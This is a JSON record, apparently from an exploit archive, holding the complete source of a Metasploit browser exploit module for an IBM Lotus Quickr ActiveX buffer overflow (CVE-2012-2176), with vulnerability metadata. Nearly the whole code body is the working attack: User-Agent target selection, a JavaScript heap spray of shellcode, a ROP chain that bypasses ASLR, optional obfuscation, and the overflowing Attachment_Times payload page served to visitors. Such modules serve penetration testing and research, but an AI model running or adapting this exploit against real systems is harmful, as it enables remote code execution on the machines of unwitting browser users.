{"exploit":{"id":"EDB-23737","name":"IBM Lotus QuickR qp2 - ActiveX Buffer Overflow (Metasploit)","description":"IBM Lotus QuickR qp2 - ActiveX Buffer Overflow (Metasploit)","cves":["CVE-2012-2176"],"author":"Metasploit","published":"2012-12-31","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23737","path":"exploits/windows/remote/23737.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23737.rb","vulnerabilities":[{"id":"CVE-2012-2176","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple stack-based buffer overflows in a certain ActiveX control in qp2.cab in IBM Lotus Quickr 8.2 before 8.2.0.27-002a for Domino allow remote attackers to execute arbitrary code via a long argument to the (1) Attachment_Times or (2) Import_Times method.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-2176","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-2176"},"updatedAt":"2024-08-06T19:26:08.468Z","retrievedAt":"2026-11-27T04:09:36.401Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23737.png?v=2","url":"https://exploitbin.com/exploits/EDB-23737","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23737/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23737/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n#   http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = NormalRanking\n\n\tinclude Msf::Exploit::Remote::HttpServer::HTML\n\tinclude Msf::Exploit::RopDb\n\tinclude Msf::Exploit::Remote::BrowserAutopwn\n\n\tautopwn_info({\n\t\t:ua_name    => HttpClients::IE,\n\t\t:ua_minver  => \"6.0\",\n\t\t:ua_maxver  => \"9.0\",\n\t\t:javascript => true,\n\t\t:os_name    => OperatingSystems::WINDOWS,\n\t\t:rank       => Rank,\n\t\t:classid    => \"{05D96F71-87C6-11D3-9BE4-00902742D6E0}\",\n\t\t:method     => \"Attachment_Times\"\n\t})\n\n\n\tdef initialize(info={})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => \"IBM Lotus QuickR qp2 ActiveX Buffer Overflow\",\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a buffer overflow vulnerability on the UploadControl\n\t\t\t\tActiveX. The vulnerability exists in the handling of the \"Attachment_Times\"\n\t\t\t\tproperty, due to the insecure usage of the _swscanf. The affected ActiveX is\n\t\t\t\tprovided by the qp2.dll installed with the IBM Lotus Quickr product.\n\n\t\t\t\tThis module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,\n\t\t\t\tusing the qp2.dll 8.1.0.1800. In order to bypass ASLR the no aslr compatible module\n\t\t\t\tmsvcr71.dll is used. This one is installed with the qp2 ActiveX.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'Gaurav Baruah', # Vulnerability discovery\n\t\t\t\t\t'juan vazquez' # Metasploit module\n\t\t\t\t],\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2012-2176' ],\n\t\t\t\t\t[ 'OSVDB', '82166' ],\n\t\t\t\t\t[ 'BID', '53678'],\n\t\t\t\t\t[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-134/' ],\n\t\t\t\t\t[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21596191' ]\n\t\t\t\t],\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space' => 978,\n\t\t\t\t\t'DisableNops' => true,\n\t\t\t\t\t'PrependEncoder' => \"\\x81\\xc4\\x54\\xf2\\xff\\xff\" # Stack adjustment # add esp, -3500\n\t\t\t\t},\n\t\t\t'DefaultOptions'  =>\n\t\t\t\t{\n\t\t\t\t\t'InitialAutoRunScript' => 'migrate -f'\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t# qp2.dll 8.1.0.1800\n\t\t\t\t\t[ 'Automatic', {} ],\n\t\t\t\t\t[ 'IE 6 on Windows XP SP3', { 'Rop' => nil,  'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],\n\t\t\t\t\t[ 'IE 7 on Windows XP SP3', { 'Rop' => nil,  'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],\n\t\t\t\t\t[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll\n\t\t\t\t\t[ 'IE 7 on Windows Vista',  { 'Rop' => nil,  'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ],\n\t\t\t\t\t[ 'IE 8 on Windows Vista',  { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll\n\t\t\t\t\t[ 'IE 8 on Windows 7',      { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll\n\t\t\t\t\t[ 'IE 9 on Windows 7',      { 'Rop' => :jre, 'Offset' => '0x5fe', 'Ret' => 0x7C346B52 } ]  # pop esp # ret # msvcr71.dll\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'DisclosureDate' => \"May 23 2012\",\n\t\t\t'DefaultTarget'  => 0))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])\n\t\t\t], self.class)\n\n\tend\n\n\tdef get_target(agent)\n\t\t#If the user is already specified by the user, we'll just use that\n\t\treturn target if target.name != 'Automatic'\n\n\t\tnt = agent.scan(/Windows NT (\\d\\.\\d)/).flatten[0] || ''\n\t\tie = agent.scan(/MSIE (\\d)/).flatten[0] || ''\n\n\t\tie_name = \"IE #{ie}\"\n\n\t\tcase nt\n\t\twhen '5.1'\n\t\t\tos_name = 'Windows XP SP3'\n\t\twhen '6.0'\n\t\t\tos_name = 'Windows Vista'\n\t\twhen '6.1'\n\t\t\tos_name = 'Windows 7'\n\t\tend\n\n\t\ttargets.each do |t|\n\t\t\tif (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))\n\t\t\t\tprint_status(\"Target selected as: #{t.name}\")\n\t\t\t\treturn t\n\t\t\tend\n\t\tend\n\n\t\treturn nil\n\tend\n\n\tdef ie_heap_spray(my_target, p)\n\t\tjs_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))\n\t\tjs_nops = Rex::Text.to_unescape(\"\\x0c\"*4, Rex::Arch.endian(target.arch))\n\t\tjs_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))\n\n\t\t# Land the payload at 0x0c0c0c0c\n\t\tcase my_target\n\t\twhen targets[7]\n\t\t\t# IE 9 on Windows 7\n\t\t\tjs = %Q|\n\t\t\tfunction randomblock(blocksize)\n\t\t\t{\n\t\t\t\tvar theblock = \"\";\n\t\t\t\tfor (var i = 0; i < blocksize; i++)\n\t\t\t\t{\n\t\t\t\t\ttheblock += Math.floor(Math.random()*90)+10;\n\t\t\t\t}\n\t\t\t\treturn theblock;\n\t\t\t}\n\n\t\t\tfunction tounescape(block)\n\t\t\t{\n\t\t\t\tvar blocklen = block.length;\n\t\t\t\tvar unescapestr = \"\";\n\t\t\t\tfor (var i = 0; i < blocklen-1; i=i+4)\n\t\t\t\t{\n\t\t\t\t\tunescapestr += \"%u\" + block.substring(i,i+4);\n\t\t\t\t}\n\t\t\t\treturn unescapestr;\n\t\t\t}\n\n\t\t\tvar heap_obj = new heapLib.ie(0x10000);\n\t\t\tvar code = unescape(\"#{js_code}\");\n\t\t\tvar nops = unescape(\"#{js_random_nops}\");\n\t\t\twhile (nops.length < 0x80000) nops += nops;\n\t\t\tvar offset_length = #{my_target['Offset']};\n\t\t\tfor (var i=0; i < 0x1000; i++) {\n\t\t\t\tvar padding = unescape(tounescape(randomblock(0x1000)));\n\t\t\t\twhile (padding.length < 0x1000) padding+= padding;\n\t\t\t\tvar junk_offset = padding.substring(0, offset_length);\n\t\t\t\tvar single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);\n\t\t\t\twhile (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;\n\t\t\t\tsprayblock = single_sprayblock.substring(0, (0x40000-6)/2);\n\t\t\t\theap_obj.alloc(sprayblock);\n\t\t\t}\n\t\t\t|\n\n\t\telse\n\t\t\t# For IE 6, 7, 8\n\t\t\tjs = %Q|\n\t\t\tvar heap_obj = new heapLib.ie(0x20000);\n\t\t\tvar code = unescape(\"#{js_code}\");\n\t\t\tvar nops = unescape(\"#{js_nops}\");\n\t\t\twhile (nops.length < 0x80000) nops += nops;\n\t\t\tvar offset = nops.substring(0, #{my_target['Offset']});\n\t\t\tvar shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);\n\t\t\twhile (shellcode.length < 0x40000) shellcode += shellcode;\n\t\t\tvar block = shellcode.substring(0, (0x80000-6)/2);\n\t\t\theap_obj.gc();\n\t\t\tfor (var i=1; i < 0x300; i++) {\n\t\t\t\theap_obj.alloc(block);\n\t\t\t}\n\t\t\tvar overflow = nops.substring(0, 10);\n\t\t\t|\n\n\t\tend\n\n\t\tjs = heaplib(js, {:noobfu => true})\n\n\t\tif datastore['OBFUSCATE']\n\t\t\tjs = ::Rex::Exploitation::JSObfu.new(js)\n\t\t\tjs.obfuscate\n\t\tend\n\n\t\treturn js\n\tend\n\n\tdef get_payload(t, cli)\n\t\tcode = payload.encoded\n\n\t\t# No rop. Just return the payload.\n\t\treturn code if t['Rop'].nil?\n\n\t\t# Both ROP chains generated by mona.py - See corelan.be\n\t\tcase t['Rop']\n\t\twhen :jre\n\t\t\tprint_status(\"Using JRE ROP\")\n\t\t\trop_payload = generate_rop_payload('java', code)#, {'pivot'=>stack_pivot})\n\t\tend\n\n\t\treturn rop_payload\n\tend\n\n\tdef load_exploit_html(my_target, cli)\n\t\tp  = get_payload(my_target, cli)\n\t\tjs = ie_heap_spray(my_target, p)\n\n\t\tbof = rand_text_alpha(512) # offset to eip\"\n\t\tbof << [my_target.ret].pack(\"V\")\n\t\tif my_target['Rop']\n\t\t\tbof << rand_text_alpha(4)\n\t\t\tbof << [0x0c0c0c0c].pack(\"V\") # new stack\n\t\tend\n\n\t\tmy_bof = Rex::Text.to_unescape(bof)\n\n\t\thtml = %Q|\n\t\t<html>\n\t\t<head>\n\t\t<script>\n\t\t#{js}\n\t\t</script>\n\t\t</head>\n\t\t<body>\n\t\t<object id=\"UploadControl\" width=\"100%\" height=\"100%\" classid=\"clsid:05D96F71-87C6-11D3-9BE4-00902742D6E0\">\n\t\t\t<param name=\"General_Mode\" value=\"1\">\n\t\t\t<param name=\"General_URL\" value=\"http://#{rand_text_alpha(rand(10) + 5)}\">\n\t\t</object>\n\t\t<script>\n\t\t\tvar bof = unescape(\"#{my_bof}\");\n\t\t\tvar my_time = \"#{rand_text_numeric(2)}/#{rand_text_numeric(2)}/#{rand_text_numeric(4)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)} \";\n\t\t\tmy_time += bof;\n\t\t\tmy_time += \" GMT\";\n\t\t\tUploadControl.Attachment_Times = my_time;\n\t\t</script>\n\t\t</body>\n\t\t</html>\n\t\t|\n\n\t\treturn html\n\tend\n\n\tdef on_request_uri(cli, request)\n\t\tagent = request.headers['User-Agent']\n\t\turi   = request.uri\n\t\tprint_status(\"Requesting: #{uri}\")\n\n\t\tmy_target = get_target(agent)\n\t\t# Avoid the attack if no suitable target found\n\t\tif my_target.nil?\n\t\t\tprint_error(\"Browser not supported, sending 404: #{agent}\")\n\t\t\tsend_not_found(cli)\n\t\t\treturn\n\t\tend\n\n\t\thtml = load_exploit_html(my_target, cli)\n\t\thtml = html.gsub(/^\\t\\t/, '')\n\t\tprint_status(\"Sending HTML...\")\n\t\tsend_response(cli, html, {'Content-Type'=>'text/html'})\n\tend\n\nend","sha256":"2570396e9a994f0f9128106991e69dcb968d0dde0fbe6d004afd9587713e5cbb","bytes":8064,"fetchedAt":"2026-11-27T04:09:30.601Z","encoding":"utf-8 (display only; download retains original bytes)"}